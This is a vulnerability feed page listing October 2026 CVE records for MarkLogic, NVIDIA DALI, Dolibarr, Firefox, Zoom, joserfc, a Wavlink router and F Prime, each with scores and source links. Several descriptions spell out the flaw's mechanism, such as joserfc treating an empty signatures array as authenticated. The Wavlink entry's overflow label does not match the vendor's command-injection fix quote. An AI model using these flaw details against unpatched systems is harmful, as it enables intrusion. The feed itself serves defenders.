CVSS 7.1 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85969).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85969&date=2026-10-25).
Sources:
NVD CVE-2026-85969: https://nvd.nist.gov/vuln/detail/CVE-2026-85969
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85969&date=2026-10-25
Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 contain an out-of-bounds write vulnerability in certain language-processing functionality. A remote authenticated attacker could exploit this vulnerability to cause server instability or limited modification of data.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Progress MarkLogic Server 12.x releases before 12.1.0 contain an out-of-bounds read vulnerability in certain query-processing functionality.
https://kevwire.com/record/CVE-2026-85968
Progress MarkLogic Server 12.x releases before 12.1.0 contain an out-of-bounds read vulnerability in certain query-processing functionality. (Oct 12, 2026).
Progress MarkLogic Server 12.x releases before 12.1.0 contain an out-of-bounds read vulnerability in certain query-processing functionality. A remote authenticated attacker could exploit this vulnerability to cause server instability or disclose limited information from process memory.
CVSS 7.1 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85968).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85968&date=2026-10-25).
Sources:
NVD CVE-2026-85968: https://nvd.nist.gov/vuln/detail/CVE-2026-85968
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85968&date=2026-10-25
Progress MarkLogic Server 12.x releases before 12.1.0 contain an out-of-bounds read vulnerability in certain query-processing functionality. A remote authenticated attacker could exploit this vulnerability to cause server instability or disclose limited information from process memory.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Affected Linux-based Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 contain a server-side request forgery vulnerability that could allow an...
https://kevwire.com/record/CVE-2026-85952
Affected Linux-based Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 contain a server-side request forgery vulnerability that could allow an... (Oct 12, 2026).
Affected Linux-based Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 contain a server-side request forgery vulnerability that could allow an authenticated attacker to access internal cloud services, potentially resulting in unauthorized access to cloud credentials.
CVSS 8.5 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85952).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85952&date=2026-10-25).
Sources:
NVD CVE-2026-85952: https://nvd.nist.gov/vuln/detail/CVE-2026-85952
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85952&date=2026-10-25
Affected Linux-based Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 contain a server-side request forgery vulnerability that could allow an authenticated attacker to access internal cloud services, potentially resulting in unauthorized access to cloud credentials.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 on Azure contain a server-side request forgery vulnerability that could allow an...
https://kevwire.com/record/CVE-2026-85951
Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 on Azure contain a server-side request forgery vulnerability that could allow an... (Oct 12, 2026).
Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 on Azure contain a server-side request forgery vulnerability that could allow an authenticated attacker to access internal cloud services, potentially resulting in unauthorized access to cloud credentials or tokens.
CVSS 8.5 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85951).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85951&date=2026-10-25).
Sources:
NVD CVE-2026-85951: https://nvd.nist.gov/vuln/detail/CVE-2026-85951
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85951&date=2026-10-25
Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 on Azure contain a server-side request forgery vulnerability that could allow an authenticated attacker to access internal cloud services, potentially resulting in unauthorized access to cloud credentials or tokens.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### NVIDIA DALI contains a vulnerability where an attacker could cause an uncontrolled out-of-bounds read.
https://kevwire.com/record/CVE-2026-65150
NVIDIA DALI contains a vulnerability where an attacker could cause an uncontrolled out-of-bounds read. (Oct 13, 2026).
NVIDIA DALI contains a vulnerability where an attacker could cause an uncontrolled out-of-bounds read. A successful exploit of this vulnerability mighty lead to information disclosure, data tampering, and denial of service.
CVSS 7.3 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-65150).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-65150&date=2026-10-25).
Sources:
NVD CVE-2026-65150: https://nvd.nist.gov/vuln/detail/CVE-2026-65150
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-65150&date=2026-10-25
NVIDIA DALI contains a vulnerability where an attacker could cause an uncontrolled out-of-bounds read. A successful exploit of this vulnerability mighty lead to information disclosure, data tampering, and denial of service.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### NVIDIA DALI contains a vulnerability where an attacker could cause an uncontrolled out-of-bounds write.
https://kevwire.com/record/CVE-2026-65149
NVIDIA DALI contains a vulnerability where an attacker could cause an uncontrolled out-of-bounds write. (Oct 13, 2026).
NVIDIA DALI contains a vulnerability where an attacker could cause an uncontrolled out-of-bounds write. A successful exploit of this vulnerability might lead to denial of service, information disclosure, and data tampering.
CVSS 7.3 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-65149).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-65149&date=2026-10-25).
Sources:
NVD CVE-2026-65149: https://nvd.nist.gov/vuln/detail/CVE-2026-65149
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-65149&date=2026-10-25
NVIDIA DALI contains a vulnerability where an attacker could cause an uncontrolled out-of-bounds write. A successful exploit of this vulnerability might lead to denial of service, information disclosure, and data tampering.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### NVIDIA DALI contains a vulnerability where an attacker could cause an uncontrolled out-of-bounds read.
https://kevwire.com/record/CVE-2026-65147
NVIDIA DALI contains a vulnerability where an attacker could cause an uncontrolled out-of-bounds read. (Oct 13, 2026).
NVIDIA DALI contains a vulnerability where an attacker could cause an uncontrolled out-of-bounds read. A successful exploit of this vulnerability might lead to information disclosure and denial of service.
CVSS 7.3 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-65147).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-65147&date=2026-10-25).
Sources:
NVD CVE-2026-65147: https://nvd.nist.gov/vuln/detail/CVE-2026-65147
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-65147&date=2026-10-25
NVIDIA DALI contains a vulnerability where an attacker could cause an uncontrolled out-of-bounds read. A successful exploit of this vulnerability might lead to information disclosure and denial of service.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Dolibarr before 23.0.4 contains a PHP object injection vulnerability in jsonOrUnserialize() in functions.lib.php, which calls unserialize() without class restrictions when...
https://kevwire.com/record/CVE-2026-110874
Dolibarr before 23.0.4 contains a PHP object injection vulnerability in jsonOrUnserialize() in functions.lib.php, which calls unserialize() without class restrictions when... (Oct 15, 2026).
Dolibarr before 23.0.4 contains a PHP object injection vulnerability in jsonOrUnserialize() in functions.lib.php, which calls unserialize() without class restrictions when json_decode() fails. Attackers able to write stored extrafields, export configurations or blocked log entries can plant serialized objects that trigger gadget chains for code execution or file manipulation.
CVSS 7.5 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110874).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110874&date=2026-10-25).
Sources:
NVD CVE-2026-110874: https://nvd.nist.gov/vuln/detail/CVE-2026-110874
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110874&date=2026-10-25
Dolibarr before 23.0.4 contains a PHP object injection vulnerability in jsonOrUnserialize() in functions.lib.php, which calls unserialize() without class restrictions when json_decode() fails. Attackers able to write stored extrafields, export configurations or blocked log entries can plant serialized objects that trigger gadget chains for code execution or file manipulation.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Sandbox escape due to race condition in the Networking component.
https://kevwire.com/record/CVE-2026-109757
Sandbox escape due to race condition in the Networking component. (Oct 13, 2026).
Sandbox escape due to race condition in the Networking component. This vulnerability was fixed in Firefox 158, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.
CVSS 8.3 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109757).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109757&date=2026-10-25).
Sources:
NVD CVE-2026-109757: https://nvd.nist.gov/vuln/detail/CVE-2026-109757
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109757&date=2026-10-25
Sandbox escape due to race condition in the Networking component. This vulnerability was fixed in Firefox 158, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Sandbox escape in the DOM: Content Processes component.
https://kevwire.com/record/CVE-2026-109755
Sandbox escape in the DOM: Content Processes component. (Oct 13, 2026).
Sandbox escape in the DOM: Content Processes component. This vulnerability was fixed in Firefox 158 and Thunderbird 158.
CVSS 9.6 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109755).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109755&date=2026-10-25).
Sources:
NVD CVE-2026-109755: https://nvd.nist.gov/vuln/detail/CVE-2026-109755
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109755&date=2026-10-25
Sandbox escape in the DOM: Content Processes component. This vulnerability was fixed in Firefox 158 and Thunderbird 158.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Incorrect boundary conditions in the Layout component.
https://kevwire.com/record/CVE-2026-109753
Incorrect boundary conditions in the Layout component. (Oct 13, 2026).
Incorrect boundary conditions in the Layout component. This vulnerability was fixed in Firefox 158, Firefox ESR 115.43, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.
CVSS 8.1 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109753).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109753&date=2026-10-25).
Sources:
NVD CVE-2026-109753: https://nvd.nist.gov/vuln/detail/CVE-2026-109753
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109753&date=2026-10-25
Incorrect boundary conditions in the Layout component. This vulnerability was fixed in Firefox 158, Firefox ESR 115.43, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### JIT miscompilation in the JavaScript Engine: JIT component.
https://kevwire.com/record/CVE-2026-109733
JIT miscompilation in the JavaScript Engine: JIT component. (Oct 13, 2026).
JIT miscompilation in the JavaScript Engine: JIT component. This vulnerability was fixed in Firefox 158, Firefox ESR 115.43, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.
CVSS 8.1 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109733).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109733&date=2026-10-25).
Sources:
NVD CVE-2026-109733: https://nvd.nist.gov/vuln/detail/CVE-2026-109733
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109733&date=2026-10-25
JIT miscompilation in the JavaScript Engine: JIT component. This vulnerability was fixed in Firefox 158, Firefox ESR 115.43, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Integer overflow in the Graphics component.
https://kevwire.com/record/CVE-2026-109730
Integer overflow in the Graphics component. (Oct 13, 2026).
Integer overflow in the Graphics component. This vulnerability was fixed in Firefox 158, Firefox ESR 115.43, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109730).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109730&date=2026-10-25).
Sources:
NVD CVE-2026-109730: https://nvd.nist.gov/vuln/detail/CVE-2026-109730
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109730&date=2026-10-25
Integer overflow in the Graphics component. This vulnerability was fixed in Firefox 158, Firefox ESR 115.43, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Sandbox escape due to incorrect boundary conditions in the Networking component.
https://kevwire.com/record/CVE-2026-109708
Sandbox escape due to incorrect boundary conditions in the Networking component. (Oct 13, 2026).
Sandbox escape due to incorrect boundary conditions in the Networking component. This vulnerability was fixed in Firefox 158, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.
CVSS 9.6 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109708).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109708&date=2026-10-25).
Sources:
NVD CVE-2026-109708: https://nvd.nist.gov/vuln/detail/CVE-2026-109708
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109708&date=2026-10-25
Sandbox escape due to incorrect boundary conditions in the Networking component. This vulnerability was fixed in Firefox 158, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper certificate validation in the My Notes feature of certain Zoom Clients may allow an unauthenticated user to conduct an information disclosure via network access.
https://kevwire.com/record/CVE-2026-108185
Improper certificate validation in the My Notes feature of certain Zoom Clients may allow an unauthenticated user to conduct an information disclosure via network access. (Oct 13, 2026).
Improper certificate validation in the My Notes feature of certain Zoom Clients may allow an unauthenticated user to conduct an information disclosure via network access.
CVSS 7.4 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108185).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108185&date=2026-10-25).
Sources:
NVD CVE-2026-108185: https://nvd.nist.gov/vuln/detail/CVE-2026-108185
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108185&date=2026-10-25
Improper certificate validation in the My Notes feature of certain Zoom Clients may allow an unauthenticated user to conduct an information disclosure via network access.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper certificate validation in certain Zoom Clients for Windows may allow an unauthenticated user to conduct an information disclosure via network access.
https://kevwire.com/record/CVE-2026-108184
Improper certificate validation in certain Zoom Clients for Windows may allow an unauthenticated user to conduct an information disclosure via network access. (Oct 13, 2026).
Improper certificate validation in certain Zoom Clients for Windows may allow an unauthenticated user to conduct an information disclosure via network access.
CVSS 7.4 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108184).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108184&date=2026-10-25).
Sources:
NVD CVE-2026-108184: https://nvd.nist.gov/vuln/detail/CVE-2026-108184
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108184&date=2026-10-25
Improper certificate validation in certain Zoom Clients for Windows may allow an unauthenticated user to conduct an information disclosure via network access.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### joserfc is a Python library that provides an implementation of several JSON Object Signing and Encryption (JOSE) standards.
https://kevwire.com/record/CVE-2026-102946
joserfc is a Python library that provides an implementation of several JSON Object Signing and Encryption (JOSE) standards. (Oct 15, 2026).
joserfc is a Python library that provides an implementation of several JSON Object Signing and Encryption (JOSE) standards. Prior to 1.7.4, joserfc.jws.deserialize_json() accepts a JWS General JSON Serialization with an empty signatures array as authenticated. The verify_general_json() loop performs no iterations for the empty array and returns success because no signature check failed, allowing an attacker without a signing key to supply an arbitrary payload that relying applications may treat as authentic. The issue affects the General JSON Serialization path; compact JWS and JWT decoding, Flattened JSON serialization, and JWE JSON processing do not follow this vulnerable path. This issue is fixed in version 1.7.4.
CVSS 9.1 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102946).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102946&date=2026-10-25).
Sources:
NVD CVE-2026-102946: https://nvd.nist.gov/vuln/detail/CVE-2026-102946
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102946&date=2026-10-25
joserfc is a Python library that provides an implementation of several JSON Object Signing and Encryption (JOSE) standards. Prior to 1.7.4, joserfc.jws.deserialize_json() accepts a JWS General JSON Serialization with an empty signatures array as authenticated. The verify_general_json() loop performs no iterations for the empty array and returns success because no signature check failed, allowing an attacker without a signing key to supply an arbitrary payload that relying applications may treat as authentic. The issue affects the General JSON Serialization path; compact JWS and JWT decoding, Flattened JSON serialization, and JWE JSON processing do not follow this vulnerable path. This issue is fixed in version 1.7.4.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was found in Wavlink WN530HG4B M30HG4B_V260724. The impacted element is an unknown function of the file api.cgi.
https://kevwire.com/record/CVE-2026-110958
A vulnerability was found in Wavlink WN530HG4B M30HG4B_V260724. The impacted element is an unknown function of the file api.cgi. (Oct 15, 2026).
A vulnerability was found in Wavlink WN530HG4B M30HG4B_V260724. The impacted element is an unknown function of the file api.cgi. The manipulation results in heap-based buffer overflow. It is possible to launch the attack remotely. The exploit has been made public and could be used. Upgrading to version 2026-09-24-841a51c6d5_tclinux.bin is sufficient to resolve this issue. The affected component should be upgraded. The vendor confirms: "We confirm the finding, and it has already been addressed. In the current firmware the api=info&client=app handler no longer builds a shell command: the login script is now invoked through an argument vector (execvp) instead of system(), and the client address is length-limited and null-checked."
CVSS 9.3 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110958).
EPSS 1.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110958&date=2026-10-25).
Sources:
NVD CVE-2026-110958: https://nvd.nist.gov/vuln/detail/CVE-2026-110958
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110958&date=2026-10-25
A vulnerability was found in Wavlink WN530HG4B M30HG4B_V260724. The impacted element is an unknown function of the file api.cgi. The manipulation results in heap-based buffer overflow. It is possible to launch the attack remotely. The exploit has been made public and could be used. Upgrading to version 2026-09-24-841a51c6d5_tclinux.bin is sufficient to resolve this issue. The affected component should be upgraded. The vendor confirms: "We confirm the finding, and it has already been addressed. In the current firmware the api=info&client=app handler no longer builds a shell command: the login script is now invoked through an argument vector (execvp) instead of system(), and the client address is length-limited and null-checked."

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### F´ (F Prime) is a framework that enables development and deployment of spaceflight and other embedded software applications.
https://kevwire.com/record/CVE-2026-92154
F´ (F Prime) is a framework that enables development and deployment of spaceflight and other embedded software applications. (Oct 14, 2026).
F´ (F Prime) is a framework that enables development and deployment of spaceflight and other embedded software applications. Prior to 4.2.0, Svc::FileUplink handleDataPacket offset and size validation is vulnerable because the component checks byteOffset plus dataSize with wrapping U32 arithmetic and then seeks to the large attacker-controlled offset before writing. When a file-uplink DATA packet supplies a byteOffset and dataSize whose unsigned sum wraps below the declared file size, data can be written beyond the declared upload size, causing file integrity loss and potentially large sparse-file growth or resource exhaustion. This issue is fixed in version 4.2.0.
CVSS 8.1 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-92154).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-92154&date=2026-10-25).
Sources:
NVD CVE-2026-92154: https://nvd.nist.gov/vuln/detail/CVE-2026-92154
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-92154&date=2026-10-25
F´ (F Prime) is a framework that enables development and deployment of spaceflight and other embedded software applications. Prior to 4.2.0, Svc::FileUplink handleDataPacket offset and size validation is vulnerable because the component checks byteOffset plus dataSize with wrapping U32 arithmetic and then seeks to the large attacker-controlled offset before writing. When a file-uplink DATA packet supplies a byteOffset and dataSize whose unsigned sum wraps below the declared file size, data can be written beyond the declared upload size, causing file integrity loss and potentially large sparse-file growth or resource exhaustion. This issue is fixed in version 4.2.0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### F´ (F Prime) is a framework that enables development and deployment of spaceflight and other embedded software applications.
https://kevwire.com/record/CVE-2026-92151
F´ (F Prime) is a framework that enables development and deployment of spaceflight and other embedded software applications. (Oct 14, 2026).
F´ (F Prime) is a framework that enables development and deployment of spaceflight and other embedded software applications. Prior to 4.2.0, Svc::Ccsds::SpacePacketDeframer dataIn_handler is vulnerable because the handler treats the minimum packet-length condition as FW_ASSERT rather than rejecting and returning the buffer. When a CCSDS telecommand frame leaves a payload of six bytes or fewer after TcDeframer removes its header and trailer, the assertion aborts or resets the flight-software process, causing denial of service. This issue is fixed in version 4.2.0.
CVSS 7.5 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-92151).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-92151&date=2026-10-25).
Sources:
NVD CVE-2026-92151: https://nvd.nist.gov/vuln/detail/CVE-2026-92151
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-92151&date=2026-10-25
F´ (F Prime) is a framework that enables development and deployment of spaceflight and other embedded software applications. Prior to 4.2.0, Svc::Ccsds::SpacePacketDeframer dataIn_handler is vulnerable because the handler treats the minimum packet-length condition as FW_ASSERT rather than rejecting and returning the buffer. When a CCSDS telecommand frame leaves a payload of six bytes or fewer after TcDeframer removes its header and trailer, the assertion aborts or resets the flight-software process, causing denial of service. This issue is fixed in version 4.2.0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

